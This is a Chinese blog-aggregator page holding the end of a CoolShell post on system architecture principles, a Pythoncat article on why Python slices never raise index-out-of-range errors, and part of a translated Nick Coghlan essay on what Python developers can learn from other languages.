我发现好些公司的架构师做架构的时候,首要考虑的是架构的性能是否能够撑得住多大多大的流量,而不是考虑系统的完备性和扩展性。所以,我已经多次见过这样的案例了,一开始直接使用 MongoDB 这样的非关系型数据库,或是把数据直接放在 Redis 里,而直接放弃关系型数据库的数据完备性的模型,而在后来需要在数据上进行关系查询的时候,发现 NoSQL 的数据库在 Join 上都表现的太差,然后就开始各种飞线,为了不做 Join 就开始冗余数据,然而自己又维护不好冗余数据后带来的数据一致性的问题,导致数据上的各种错乱丢失。

所以,我给如下的一些如下的架构原则:

  • 使用最科学严谨的技术模型为主,并以不严谨的模型作为补充。对于上面那个案例来说,就是——永远使用完备支持 ACID 的关系型数据库,然后用 NoSQL 作补充,而不是完全放弃关系型数据库。这里的原则就是所谓的“先紧后松”,一开始紧了,你可以慢慢松,但是开始松了,以后你想紧再也紧不过来了。
  • 性能上的东西,总是有很多解的。我这么多年的经历告诉我,性能上的事,总是有解的,手段也是最多的,这个比起架构的完备性和扩展性来说真的不必太过担心。

为了追求所谓的性能,把整个系统的完备性丢失掉,相当地得不偿失。

原则五:制定并遵循服从标准、规范和最佳实践

这个原则是非常重要的,因为只有服从了标准,你的架构才能够有更好的扩展性。比如:我经常性的见到很多公司的系统既没有服从业界标准,也没有形成自己公司的标准,感觉就像一群乌合之众一样。最典型的例子就是 HTTP 调用的状态返回码。业内给你的标准是 200表示成功,3xx 跳转,4xx 表示调用端出错,5xx 表示服务端出错,我实在是不明白为什么无论成功和失败大家都喜欢返回 200,然后在 body 里指出是否error(前两年我在微信公众号里看到一个有一定名气的互联网老兵推荐使用无论正确还是出错都返回 200 的做法,我在后台再三确认后,我发现这样的架构师真是害人不浅)。这样做最大的问题是——监控系统将在一种低效的状态下工作。监控系统需要把所有的网络请求包打开后才知道是否是错误,而且完全不知道是调用端出错还是服务端出错,于是一些像重试或熔断这样的控制系统完全不知道怎么搞(如果是 4xx错,那么重试或熔断是没有意义的,只有 5xx 才有意义)。有时候,我会有种越活越退步的感觉,错误码设计这种最基本最基础的东西为什么会没有?并且一个公司会任由着大家乱来?这些基础技能怎么就这样丢掉了?

还有,我还见过一些公司,他们整个组织没有一个统一的用户 ID 的设计,各个系统之间同步用户的数据是通过用户的身份证 ID,是的,就是现实世界的身份证 ID,包括在网关上设置的用户白名单居然也是用身份证 ID。我对这个公司的内的用户隐私管理有很大的担忧。一个企业,一个组织,如果没有标准和规范,也就会有抽象,这一定是要出各种乱子的。

下面,我罗列一些你需要注意的标准和规范(包括但不限于):

  • 服务间调用的协议标准和规范。这其中包括 Restful API路径, HTTP 方法、状态码、标准头、自定义头等,返回数据 JSon Scheme……等。
  • 一些命名的标准和规范。这其中包括如:用户 ID,服务名、标签名、状态名、错误码、消息、数据库……等等
  • 日志和监控的规范。这其中包括:日志格式,监控数据,采样要求,报警……等等
  • 配置上的规范。这其中包括:操作系统配置、中间件配置,软件包……等等
  • 中间件使用的规范。数据库,缓存、消息队列……等等
  • 软件和开发库版本统一。整个组织架构内,软件或开发库的版本最好每年都升一次级,然后在各团队内统一。

这里重要说一下两个事:

  • Restful API 的规范。我觉得是非常重要的,这里给两个我觉得写得最好的参考:PaypalMicrosoft 。Restful API 有一个标准和规范最大的好处就是监视可以很容易地做各种统计分析,控制系统可以很容易的做流量编排和调度。
  • 另一个是服务调用链追踪。对于服务调用链追踪来说,基本上都是参考于 Google Dapper 这篇论文,目前有很多的实现,最严格的实现是 Zipkin,这也是 Spring Cloud Sleuth 的底层实现。Zipkin 贴近 Google Dapper 论文的好处在于——无状态,快速地把 Span 发出来,不消耗服务应用侧的内存和 CPU。这意味着,监控系统宁可自己死了也不能干扰实际应用。
  • 软件升级。我发现很多公司包括 BAT,他们完全没有软件升级的活动,全靠开发人员自发。然而,这种成体系的活动,是永远不可能靠大众的自发形成的。一个公司至少一年要有一次软件版本升级的review,然后形成软件版本的统一和一致,这样会极太简化系统架构的复杂度。

原则六:重视架构扩展性和可运维性

在我见过很多架构里,技术人员只考虑当下,但从来不考虑系统的未来扩展性和可运维性。所谓的管生不管养。如果你生下来的孩子胳膊少腿,严重畸形,那么未来是很难玩的。因为架构和软件不是写好就完的,是需要不断修改不断维护的,80%的软件成本都是在维护上。所以,如何让你的架构有更好的扩展性,可以更容易地运维,这个是比较重要的。所谓的扩展性,意味着,我可以很容易地加更多的功能,或是加入更多的系统,而所谓可运维,就是说我可以对线上的系统做任意的变更。扩展性要求的是有标准规范且不耦合的业务架构,可运维性要求的则是可控的能力,也就是一组各式各样的控制系统。

  • 通过服务编排架构来降低服务间的耦合。比如:通过一个业务流程的专用服务,或是像 Workflow,Event Driven Architecture , Broker,Gateway,Service Discovery 等这类的的中间件来降低服务间的依赖关系。
  • 通过服务发现或服务网关来降低服务依赖所带来的运维复杂度。服务发现可以很好的降低相关依赖服务的运维复杂度,让你可以很轻松的上线或下线服务,或是进行服务伸缩。
  • 一定要使用各种软件设计的原则。比如:像SOLID这样的原则(参看《一些软件设计的原则》),IoC/DIP,SOA 或 Spring Cloud 等 架构的最佳实践(参看《SteveY对Amazon和Google平台的吐槽》中的 Service Interface 的那几条军规),分布式系统架构的相关实践(参看:《分布式系统的事务处理》,或微软件的 《Cloud Design Patterns》)……等等

原则七:对控制逻辑进行全面收口

所有的程序都会有两种逻辑,一种是业务逻辑,一种是控制逻辑,业务逻辑就是完成业务的逻辑,控制逻辑是辅助,比如你用多线程,还是用分布式,是用数据库还是用文件,如何配置、部署,运维、监控,事务控制,服务发现,弹性伸缩,灰度发布,高并发,等等,等等 ……这些都是控制逻辑,跟业务逻辑没有一毛钱关系。控制逻辑的技术深度会通常会比业务逻辑要深一些,门槛也会要高一些,所以,最好要专业的程序员来负责控制逻辑的开发,统一规划统一管理,进行收口。这其中包括:

  • 流量收口。包括南北向和东西向的流量的调度,主要通过流量网关,开发框架 SDK或 Service Mesh 这样的技术。
  • 服务治理收口。包括:服务发现、健康检查,配置管理、事务、事件、重试、熔断、限流……主要通过开发框架 SDK – 如:Spring Cloud,或服务网格Service Mesh等技术。
  • 监控数据收口。包括:日志、指标、调用链……主要通过一些标准主流的探针,再加上后台的数据清洗和数据存储来完成,最好是使用无侵入式的技术。监控的数据必须统一在一个地方进行关联,这样才会产生信息。
  • 资源调度有应用部署的收口。包括:计算、网络和存储的收口,主要是通过容器化的方案,如k8s来完成。
  • 中间件的收口。包括:数据库,消息,缓存,服务发现,网关……等等。这类的收口方式一般要在企业内部统一建立一个共享的云化的中间件资源池。

对此,这里的原则是:

  • 你要选择容易进行业务逻辑和控制逻辑分离的技术。这里,Java 的 JVM+字节码注入+AOP 式的Spring 开发框架,会带给你太多的优势。
  • 你要选择可以享受“前人种树,后人乘凉”的有技术红利的技术。如:有庞大社区而且相互兼容的技术,如:Java, Docker,  Ansible,HTTP,Telegraf/Collectd……
  • 中间件你要使用可以 支持HA集群和多租户的技术。这里基本上所有的主流中间件都会支持 HA 集群方式的。

原则八:不要迁就老旧系统的技术债务

我发现很多公司都很非常大的技术债务,这些债务具体表现如下:

  • 使用老旧的技术。比如,使用HTTP1.0, Java 1.6,Websphere,ESB,基于 socket的通讯协议,过时的模型……等等
  • 不合理的设计。比如,在 gateway 中写大量的业务逻辑,单体架构,数据和业务逻辑深度耦合,错误的系统架构(把缓存当数据库,用消息队列同步数据)……等等
  •  缺少配套设施。比如,没有自动化测试,没有好的软件文档,没有质量好的代码,没有标准和规范……等等

来找我寻求技术帮助的人都有各种各样的问题。我都会对他们苦口婆心地说同样的一句话——“如果你是来找我 case-by-case 解决问题,我兴趣不大,因为,你们千万不要寄希望能够很简单的把一辆夏利车改成一辆法拉利跑车,或是把一栋地基没打好的歪楼搞正。以前欠下的技术债,都得要还,没打好的地基要重新打,没建配套设施都要建。这些基础设施如果不按照正确科学的方式建立的话,你是不可能有一个好的的系统,我也没办法帮你 case-by-case 的解决问题……”,一开始,他们都会对我说,没问题,我们就是要还债,但是,最后发现要还的债真多,有点承受不了,就开始现原形了。

他们开始为自己的“欠的技术债”找各种合理化的理由——给你解释各种各样的历史原因和不得以而为之的理由。谈着谈着,让我有一种感觉——他们希望得到一种什么都不改什么都不付出的方式就可以进步的心态,他们宁可让新的技术 low 下来迁就于这些技术债,把新的技术滥用地乱七八糟的。有一个公司,他们的系统架构和技术选型基本都搞错了,使用错误的模型构建系统,导致整个系统的性能非常之差,也才几千万条数据,但他们想的不是还债,不是把地基和配套设施建好,而且要把楼修的更高,上更多的系统——他们觉得现有的系统挺好,性能问题的原因是他们没一个大数据平台,所以要建大数据平台……

我见过很多很多公司,包括大如 BAT 这样的公司,都会在原来的技术债上进行更多的建设,然后,技术债越来越大,利息越来越大,最终成为一个高利贷,再也还不了(我在《开发团队的效率》一文中讲过一个 WatchDog 的架构模式,一个系统烂了,不是去改这个系统,而是在旁边建一个系统来看着它,我很难理解为什么会有这样的逻辑,也许是为了要解决更多的就业……)

这里有几个原则和方法我是非常坚持的,分享给大家:

  • 与其花大力气迁就技术债务,不如直接还技术债。是所谓的长痛不如短痛。
  • 建设没有技术债的“新城区”,并通过“防腐层 ”的架构模型,不要让技术债侵入“新城区”

原则九:不要依赖自己的经验,要依赖于数据和学习

有好些人来找我跟我说他们的技术问题,然后希望我能够给他们一个答案。我说,我需要了解一下你现有系统的情况,也就是需要先做个诊断,我只有得到这些数据后,我才可能明白真正的原因是什么 ,我才可能给你做出一个比较好的技术方案。我个人觉得这是一种对对方负责的方法,因为技术手段太多了,所有的技术手段都有适应的场景,并且有各种 trade-off,所以,只有调研完后才能做出决定。这跟医生看病是一样的,确诊病因不能靠经验,还是要靠诊断数据。在科学面前,所有的经验都是靠不住的……

另外,如果有一天你在做技术决定的时候,开始凭自己以往的经验,那么你就已经不可能再成长了。人都是不可能通过不断重复过去而进步的,人的进步从来都是通过学习自己不知道的东西。所以,千万不要依赖于自己的经验做决定。做任何决定之前,最好花上一点时间,上网查一下相关的资料,技术博客,文章,论文等 ,同时,也看看各个公司,或是各个开源软件他们是怎么做的?然后,比较多种方案的 Pros/Cons,最终形成自己的决定,这样,才可能做出一个更好的决定。

原则十:千万要小心 X – Y 问题,要追问原始需求

对于 X-Y 问题,也就是说,用户为了解决 X问题,他觉得用 Y 可以解,于是问我 Y 怎么搞,结果搞到最后,发现原来要解决的 X 问题,这个时候最好的解决方案不是 Y,而是 Z。 这种 X-Y 问题真是相当之多,见的太多太多了。所以,每次用户来找我的时候,我都要不断地追问什么是 X 问题。

比如,好些用户都会来问我他们要一个大数据流式处理,结果追问具体要解决什么样的问题时,才发现他们的问题是因为服务中有大量的状态,需要把相同用户的数据请求放在同一个服务上处理,而且设计上导致一个慢函数拖慢整个应用服务。最终就是做一下性能调优就好了,根本没有必要上什么大数据的流式处理。

我很喜欢追问为什么 ,这种追问,会让客户也跟着来一起重新思考。比如,有个客户来找我评估的一个技术架构的决定,从理论上来说,好像这个架构在用户的这个场景下非常不错。但是,这个场景和这个架构是我职业生涯从来没有见过的。于是,我开始追问这个为什么会是这么一个场景?当我追问的时候,我发现用户都感到这个场景的各种不合理。最后引起了大家非常深刻的研讨,最终用户把那个场景修正后,而架构就突然就变成了一个常见且成熟的的模型……

原则十一:激进胜于保守,创新与实用并不冲突

我对技术的态度是比较激进的,但是,所谓的激进并不是瞎搞,也不是见新技术就上,而是积极拥抱会改变未来的新技术,如:Docker/Go,我就非常快地跟进,但是像区块链或是 Rust 这样的,我就不是很积极。因为,其并没有命中我认为的技术趋势的几个特征(参看《Go,Docker 和新技术 》)。当然,我也不是不喜欢的就不学了,我对区块链和 Rust 我一样学习,我也知道这些技术的优势,但我不会大规模使用它们。另外,我也尊重保守的决定,这里面没有对和错。但是,我个人觉得对技术激进的态度比起保守来说有太多的好处了。一方面来说,对于用户来说,很大程度上来说,新技术通常都表面有很好的竞争力,而且我见太多这样成功的公司都在积极拥抱新的技术的,而保守的通常来说都越来越不好。

有一些人会跟我说,我们是实用主义,我们不需要创新,能解决当下的问题就好,所以,我们不需要新技术,现有的技术用好就行了。这类的公司,他们的技术设计第一天就在负债,虽然可以解决当下问题,但是马上就会出现新的问题,然后他们会疲于解决各种问题。最后呢,最后还是会走到新的技术上。

这里的逻辑很简单 —— 进步永远来自于探索,探索是要付出代价的,但是收益更大。对我而言,不敢冒险才是最大的冒险,不敢犯错才是最大的错误,害怕失去会让你失去的更多……

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 我做系统架构的一些原则 first appeared on 酷 壳 - CoolShell.

by 陈皓 at December 21, 2021 07:46 AM

December 20, 2021

pythoncat

Python 的切片为什么不会索引越界?

切片(slice)是 Python 中一种很有特色的特性,在正式开始之前,我们先来复习一下关于切片的知识吧。
切片主要用于序列对象中,按照索引区间截取出一段索引的内容。
切片的书写形式:[i : i+n : m] ;其中,i 是切片的起始索引值,为列表首位时可省略;i+n 是切片的结束位置,为列表末位时可省略;m 可以不提供,默认值是 1,不允许为 0,当 m 为负数时,列表翻转。
切片的基本含义是:从序列的第 i 位索引起,向右取到后 n 位元素为止,按 m 间隔过滤
下面是一些很有代表性的例子,基本涵盖了切片语法的使用要点:
# @Python猫
li = [1, 4, 5, 6, 7, 9, 11, 14, 16]

# 以下写法都可以表示整个列表,其中 X >= len(li)
li[0:X] == li[0:] == li[:X] == li[:] == li[::] == li[-X:X] == li[-X:]

li[1:5] == [4,5,6,7] # 从1起,取5-1位元素
li[1:5:2] == [4,6] # 从1起,取5-1位元素,按2间隔过滤
li[-1:] == [16] # 取倒数第一个元素
li[-4:-2] == [9, 11] # 从倒数第四起,取-2-(-4)=2位元素
li[:-2] == li[-len(li):-2] == [1,4,5,6,7,9,11] # 从头开始,取-2-(-len(li))=7位元素

# 步长为负数时,列表先翻转,再截取
li[::-1] == [16,14,11,9,7,6,5,4,1] # 翻转整个列表
li[::-2] == [16,11,7,5,1] # 翻转整个列表,再按2间隔过滤
li[:-5:-1] == [16,14,11,9] # 翻转整个列表,取-5-(-len(li))=4位元素
li[:-5:-3] == [16,9] # 翻转整个列表,取-5-(-len(li))=4位元素,再按3间隔过滤

# 切片的步长不可以为0
li[::0]  # 报错(ValueError: slice step cannot be zero)
像 C/C++、Java 和 JavaScript 等语言,虽然也支持某些“切片”功能,例如截取数组或字符串的片段,但是,它们并没有一种在语法层面上的通用性支持。
根据维基百科资料,Fortran 是最早支持切片语法的语言(1966),而 Python 则是最具代表性的语言之一。
另外,像 Perl、Ruby、Go 和 Rust 等语言,虽然也有切片,但都不及 Python 那样灵活和自由(因为它支持 step、负数索引、缺省索引)。
切片的基本用法就能够满足大部分的需求,但是,Python 切片还有一些进阶的用法,例如:切片占位符用法(可实现列表的赋值、删除与拼接操作)、自定义对象实现切片功能、迭代器切片(itertools.islice())、文件对象切片等等。关联阅读:Python进阶:全面解读高级特性之切片!
关于切片的介绍与温习,就到这里了。
下面进入文章标题的问题:Python 的切片语法为什么不会出现索引越界呢?
当我们根据单个索引进行取值时,如果索引越界,就会得到报错:“IndexError: list index out of range”。
>>> li = [1, 2]
>>> li[5]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list index out of range
对于一个非空的序列对象,假设其长度为 length,则它有效的索引值是从 0 到(length - 1)。如果把负数索引也考虑进去,则单个索引值的有效区间是 [-length, length - 1] 闭区间。
但是,当 Python 切片中的索引超出这个范围时,程序并不会报错。
>>> li = [1, 2]
>>> li[1:5]  # 右索引超出
[2]
>>> li[5:6]  # 左右索引都超出
[]
其实,对于这种现象,官方文档中有所介绍:

The slice of s from i to j is defined as the sequence of items with index k such that i <= k < j. If i or j is greater than len(s), use len(s). If i is omitted or None, use 0. If j is omitted or None, use len(s). If i is greater than or equal to j, the slice is empty.

也就是说:
  • 当左或右索引值大于序列的长度值时,就用长度值作为该索引值;
  • 当左索引值缺省或者为 None 时,就用 0 作为左索引值;
  • 当右索引值缺省或者为 None 时,就用序列长度值作为右索引值;
  • 当左索引值大于等于右索引值时,切片结果为空对象。
对照上面的例子,可以得到:
>>> li = [1, 2]
>>> li[1:5]  # 等价于 li[1:2]
[2]
>>> li[5:6]  # 等价于 li[2:2]
[]
归结起来一句话:Python 解释器把可能导致索引越界的操作给屏蔽了,你的写法可以很自由,但是最终的结果会被死死限制在合法的索引区间内。
对于这个现象,我其实是有点疑惑的,为什么 Python 不直接报索引越界呢,为什么要修正切片的边界值,为什么一定要返回一个值呢,即便这个值可能是个空序列?
当我们使用“li[5:6]”时,至少在字面意义上想表达的是“取出索引从 5 到 6 所对应的值”,就像是在说“取出书架上从左往右数的第 6 和 7 本书”。
如果程序是如实地遵照我们的指令的话,它就应该报错,就应该说:对不起,书架上的书不够数。
实话说,我并没有查到这方面的解释,这篇文章也不是要给大家科普 Python 在设计上有什么独到的见解。恰恰相反,这篇文章的主要目的之一是希望得到大家的回复解答。
在 Go 语言中,遇到同样的场景时,它的做法是报错“runtime error: slice bounds out of range”。
在 Rust 语言中,遇到同样的场景时,它的做法是报错“byte index 5 is out of bounds of …”。
在其它支持切片语法的语言中,也许还有跟 Python 一样的设计。但是,我还不知道有没有(学识浅薄)……
最后,继续回到标题中的问题“Python 的切片为什么不会索引越界”。我其实想问的问题有两个:
  • 当切片语法中的索引超出边界时,为什么 Python 还能返回结果,返回结果的计算原理是什么?
  • 为什么 Python 的切片语法要允许索引超出边界呢,为什么不设计成抛出索引错误?
对于第一个问题的回答,官方文档已经写得很明白了。
对于第二个问题,本文暂时没有答案。
也许我很快就能找到答案,但是,也可能需要很久。不管如何,本文先到此为止了。
如果你喜欢研究 Python 设计上的小细节,感兴趣探求“为什么”问题的解答,欢迎关注“Python为什么”系列文章。

December 20, 2021 12:00 AM

December 13, 2021

pythoncat

博采 27 门语言之长,提升 Python 的能力

Python 语言诞生 30 年了,如今的发展势头可谓如火如荼,这很大程度上得益于其易学易用的优秀设计,而不可否认的是,Python 从其它语言中偷师了不少。本文作者是一名资深的核心开发者,他广博的视野和精准的认识,让我对 Python 的设计了解得更为全面,同时,他“利用自豪感而非恐惧感”的说法,传达出来的是“专注于自我的进步,不嫉妒他人的成功”的原则,对我也很有帮助。原文写于 2015 年,躺在我的收藏夹里很久很久了,如今顺利翻译掉,这是一件能提升自豪感的有意义的事。最后祝大家开卷有益,读有所获。
作者:Nick Coghlan
译者:豌豆花下猫@Python猫
声明:本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。

目录

  • 拓宽我们的视野
  • 过程式编程:C、Rust、Cython
  • 面向对象的数据模型:Java、C#、Eiffel
  • 面向对象的 C 派生:C++、D
  • 面向数组的数据处理:MATLAB/Octave、Julia
  • 统计数据分析:R
  • 计算管道建模:Haskell、Scala、Clojure、F#
  • 事件驱动编程:JavaScript、Go、Erlang、Elixir
  • 渐变类型:TypeScript
  • 动态元编程:Hy、Ruby
  • 务实问题解决:Lua、PHP、Perl
  • 编程思维:Scratch、Logo
作为世界上最流行的编程语言之一的共同设计者,我经常看到一个令人沮丧的行为(在 Python 社区和其它社区):有影响力者试图激发人们对“败给”其它开源社区的恐惧,从而调动人们对社区作贡献的积极性。(我自己偶尔也会犯这种错误,这让我更容易发现其他人是否也落入了同样的陷阱)。
虽然学习其它编程语言社区的经验是件好事,但基于恐惧的方法来激励行动是有严重问题的,因为这会刺激本社区成员将其它社区的人视为争夺开源贡献者关注的敌人,而不是作为在更大挑战中的潜在盟友(推动软件开发艺术发展)。这还会告诉那些喜欢其它语言的人,在一个把他们以及他们的同伴视为“敌对竞争对手”的社区里,他们是不受欢迎的。
事实上,我们希望有多种多样的跨平台的开源编程语言供选择,因为编程语言是思考的首要工具——使我们能够以明确的方式表达我们的想法,从而让计算机也能够理解。如果有人找到了一种适合大脑的语言,能够解决眼前的问题,那就太好了,不管他们选择的是哪种(些)语言。
因此,我对 Python 社区有三个具体的请求,以及一个较为宽泛的建议。首先,我的请求是:
  1. 如果我们要利用社区的本能来激励行动,就应该避免利用恐惧感,而应该利用自豪感。 当我们将恐惧作为激励因素时,就像在说“如果我们不做 X,就会失去开发者对 Python 的关注”,这等于是故意地在自由的开源贡献者中创造悲观的情绪。然而,依赖社区的自豪感就像在说“目前尚不清楚如何在 Python 中解决 X 问题。如果我们看看 Y 语言,就可以看到他们有一个非常好的方法来解决问题 X,我们可以吸收进 Python,以提供类似的舒适的用户体验。”积极的态度让我们对自己的努力感到自豪,而不是贬低他人的努力,这有助于在 Python 社区内促成一种持续学习的文化,并促进与其它社区改善协作关系,共同发展。
  2. 克制对其它开源编程语言社区采取轻蔑的态度,尤其当这些社区授权人们解决自己的问题,而不是等待商业软件供应商来解决问题。 世界上大多数重要的问题解决起来都是无利可图的(因为受苦于这些问题的人并不富裕,而且无法左右机构基金的决定),所以我们应该鼓励试图解决这些问题的人,不管我们如何看待他们的技术选择。
  3. **如果我们认识的人刚开始学习编程,并且他们选了一种我们不喜欢的语言,我们应该支持他们的选择。 **他们比我们更知道什么适合自己,适合我们的语言不一定适合他们。如果他们对自己最初的选择感到了沮丧,甚至已经对学习编程变得没有动力,此时再给他们推荐别的编程语言。这个建议还适用于那些在改善糟糕的网络安全状况的人:我们在面对天生不安全的语言时,采取的方法是改进操作系统的沙箱功能,逐步学习有更好的本地安全属性的语言,并改善现有语言的默认行为,而不是列举为什么从程序安全性的角度来看,他们选择的语言是一个糟糕的选择,来迷惑初学者。(如果有人部署了由初学者编写的未经审核的软件来处理安全敏感的任务,那就不是开发者的问题,而且部署者的问题,他们没有对软件的出处和安全属性进行适当的尽职调查。)
我的宽泛的建议针对那些遇到了 Python 核心程序的限制,并因此希望探索 Python 中可用的“思考工具”的人。这个建议就是:

拓宽我们的视野

在开发 Python 核心程序的过程中,我们会做的一件事是查看其它语言中解决了我们正面临的问题的特性,看看是否有办法既吸收它们,又使 Python 代码更易于阅读和编写。这意味着学习其它专注于特定软件开发风格的编程语言,可以帮助我们在使用 Python 时,提高对这种编程风格的理解。
为了提供帮助,我在下面列出了一些值得探索的领域,以及可能加深对这些领域的理解的语言。我尽可能链接了维基百科的页面,而不是直接链接到语言的主页,因为维基百科经常会提供有趣的历史背景,当你为了教育目的学习一门新的编程语言,而不是直接用于实际应用时,这些背景值得去了解。
虽然我知道这些语言中的大部分(并且在开发生产系统时使用过几种),但这份推荐清单中还包括我间接知道的语言(通常是通过阅读教程和设计文档,或者通过与我信任的人交谈,以获取对一门语言的优点与缺陷的洞察)。
还有很多本应该放但没有放进名单里的语言语言,所以下面罗列的仅是我感兴趣的部分(例如,我主要感兴趣的是 Linux、Android 和 Windows 的生态系统,所以我舍弃了 Apple 生态中的 Objective-C 和 Swift 语言,另外我也不熟悉 Processing 这种专注于艺术的编程语言,无法想象学习它们能教给 Python 开发者什么)。
除了考虑一门语言可能教给你的东西,如果你想获得一份更全面的清单,可以去查看 IEEE Spectrum 关于编程语言流行度和增长度的年度榜单

过程式编程:C、Rust、Cython

Python 默认的执行模型是过程式的:从主模块的顶部开始,逐条语句地执行。Python 对下面介绍的所有数据和编程建模方法的支持,都建立在这种过程式的执行模型上。
C 语言仍然是无可争议的底层过程式编程的统治者。它是 Python 官方解释器以及 Linux 操作系统内核的核心实现语言。作为一名软件开发人员,学习 C 语言是更多地了解底层硬件的最好方法之一——C 语言经常被称为“可移植的汇编语言”,对于任何新的 CPU 架构来说,第一个交叉编译的应用程序将是 C 编译器。
Rust 是一种相对较新的编程语言,由 Mozilla 创造。Rust 的目标是吸取整个行业在不使用 C 时遇到的所有教训,设计一门能与 C 库相互操作的新语言,提供底层的系统编程所需的对硬件用途的精确控制,但使用不同的编译方法来进行数据建模和内存管理,从结构上消除许多困扰 C 程序的常见缺陷(如缓冲区溢出、指针重复释放错误、空指针访问和线程同步问题)。经过培训和早期的专业经验,我是一名嵌入式系统工程师,而 Rust 是我见过的第一种看起来有潜力缩减当前由 C 语言和自定义汇编代码所主导的生态位的新语言。
Cython 也是一种较底层的过程式语言,但与 C 和 Rust 等通用语言不同,Cython 专门用于编写 CPython 的扩展模块。为了实现这一目标,Cython 被设计为 Python 的超集,允许程序员选择何时支持纯 Python 语法以获得灵活性,何时支持 Cython 的语法扩展,以便生成在速度和内存效率方面能与原生 C 代码相当的代码。
学习这些语言,你可以加深在内存管理、算法效率、二进制接口(ABI)兼容性、软件可移植性、以及将源代码转换为运行系统等实践方面的见解。

面向对象的数据模型:Java、C#、Eiffel

编程最主要做的事情之一是为现实世界建模,最流行的做法是提供原生的语法支持面向对象编程:对数据作结构化的分组,使用类方法操作那些数据结构。
Python 本身是经过精心设计的,无需先编写自己的类就可以使用面向对象的特性。并不是每种语言都采用这种方法——本小节中列出的语言都认为学习面向对象设计是使用该语言的必要条件。
在 20 世纪 90 年代中后期,Sun Microsystems 公司进行了一次大规模的市场推广,Java 成为了许多高等院校中计算机科学入门课的默认语言。虽然如今在许多教学活动中,Java 已经被 Python 所取代,但它仍然是开发商用程序时最流行的语言之一。还有一些基于通用 JVM(Java 虚拟机)运行时的语言,例如 Python 的 Jython 实现。Android 系统的 Dalvik 和 ART 环境则是基于 Java 开放的 API 二次开发。
C# 在许多方面与 Java 相似,在 Sun 和微软未能解决他们关于微软的 Java 实现(即 J++)的业务差异之后,C# 成为了一种替代方案。像 Java 一样,这是一门开发商用程序的流行语言,还有其它一些语言共享着 .NET CLR(公共语言运行时),包括 Python 的 IronPython 实现 (最早的 IronPython 1.0 的核心组件被提取成了与语言无关的 .NET 动态语言运行库)。在很长一段时间里,. NET 是一种专用于 Windows 的技术,而 mono 作为一种跨平台的开源实现,但微软在 2015 年初转向了开源生态系统战略
与此清单中的大多数语言不同,我不推荐在日常工作中使用 Eiffel。但是,我依然推荐学习它,因为它教会了我许多关于良好的面向对象设计的知识,比如它认为“可验证的正确性”是应用程序的设计目标。(学习 Eiffel 也让我明白了为什么“可验证的正确性”并不是大多数软件开发时的设计目标,因为可验证的正确软件实在不能很好地处理模糊性,并且完全不适用于那些你不清晰相关的约束条件却需要给自己留下足够的回旋余地,以便能够通过迭代开发找出更具体的细节的情况。)
学习这些语言,你可以深入了解继承模型、契约式设计、类不变性(class invariant)、前置条件、后置条件、协方差、逆变、类方法解析顺序、泛型编程以及其它适用于 Python 类型系统的概念。还有很多标准库模块和第三方框架使用这种“看得见的面向对象”的设计风格,比如 unittest 和 logging 模块,以及 Django 框架中基于类的视图。

面向对象的 C 派生:C++、D

CPython 运行环境可以被视为一个“带有对象的 C”的编程环境——在其核心,CPython 使用 C 的方法实现面向对象编程,即定义 C 结构体来保存相关的数据,并将结构体的实例作为第一个参数传递给函数,然后对数据进行操作(这就是 CPython C API 中全能的 PyObject * 指针)。这种设计模式对应到 Python 层面,就是实例方法的显式 self 参数以及类方法的显式 cls 参数。
C++ 的目标是保持与 C 语言源代码的完全兼容,同时添加更高级的特性,例如支持原生的面向对象编程和基于模板的元编程。它是出了名的冗长和难以编程(尽管 2011 年对语言标准的更新解决了许多糟糕的问题),但它也是许多领域的编程首选,包括 3D 建模的图形化引擎和跨平台应用的开发框架(例如 Qt)。
D 语言也很有趣,因为它与 C++ 的关系类似于 Rust 与 C 的关系:它的目标是保留 C++ 的大多数令人满意的特性,同时也避免它的许多问题(如缺乏内存安全)。不像 Rust,D 不是一种从头开始设计的新编程语言——恰恰相反,D 是 C++ 的衍生物,虽然它不像 C++ 一样是一个严格的 C 超集,但它遵循着一个设计原则,即任何落入 C 和 D 的共同子集的代码,在两种语言中必须要表现一致。
学习这些语言,你可以更深入地了解将高级语言的特性与底层 C 运行时模型相结合的复杂性。学习 C++,在 Python 中操作用 C++ 编写的库和工具包时,也可能会有帮助。

面向数组的数据处理:MATLAB/Octave、Julia

面向数组的编程是为了支持数值编程模型:那些基于矩阵代数和相关数值方法的模型。
虽然 Python 的标准库不直接支持这一点,但 Python 在设计时考虑了面向数组的编程,并专门为第三方 NumPy 库和类似的面向数组的工具添加了一系列语法和语义特性。
在许多方面,Python 的科学技术栈 被作为商业 MATLAB 的替代方案,后者被广泛用于科学和工程领域的建模、仿真和数据分析。GNU Octave 是一个开源的方案,目标是兼容 MATLAB 代码的语法,允许人们对照这两种面向数组的编程方法。
Julia 是另一种相对较新的语言,重点关注面向数组的编程和基于类型的函数重载。
学习这些语言,你可以了解 Python 的科学技术栈,以及有机会通过像 OpenCL 和 Nvidia 的 CUDA 这种技术来探索硬件层面的并行执行,并通过 Apache Spark 和专用于 Python 的 Blaze 来了解分布式数据处理。

统计数据分析:R

随着对大型数据集的接触越来越多,对灵活处理这些数据集的分析工具的需求也越来越大。R 编程语言就是这样的工具,它特别关注统计性的数据分析和可视化。
学习 R 能会让你深入了解 Python 在科学技术栈的统计分析能力,尤其是 pandas 数据处理库和 seaborn 统计可视化库。

计算管道建模:Haskell、Scala、Clojure、F#

面向对象的数据建模和面向数组的数据处理主要关注静态的数据,无论是以命名的属性形成集合的形式,还是以结构化数据形成数组的形式。
相比之下,函数式编程语言强调以计算流的形式对动态数据进行建模。即便只学习函数式编程的基本知识,也能极大地改进数据转换操作的结构,即使在其它过程式、面向对象或面向数组的程序中也是如此。
Haskell 是一种函数式编程语言,对 Python 的设计产生了重大影响,最显著的是在 Python 2.0 中引入的列表推导式。
Scala 是一种(存疑的)JVM 函数式编程语言,加上 Java、Python 和 R,它们是 Apache Spark 数据分析平台的四种主要编程语言。尽管 Scala 的设计偏重于函数式编程,但它的语法、数据模型和执行模型的设计也最大限度地降低 Java 程序员使用的门槛(因此所谓“存疑的”——其实是因为,Scala 最好被归类为一门具有强函数式编程支持的面向对象编程语言)。
Clojure 是另一种基于 JVM 的函数式编程语言,是 Lisp 的一种方言。它之所以出现在这份清单里,因为它是 Python 的 toolz 函数式编程工具包的灵感来源。
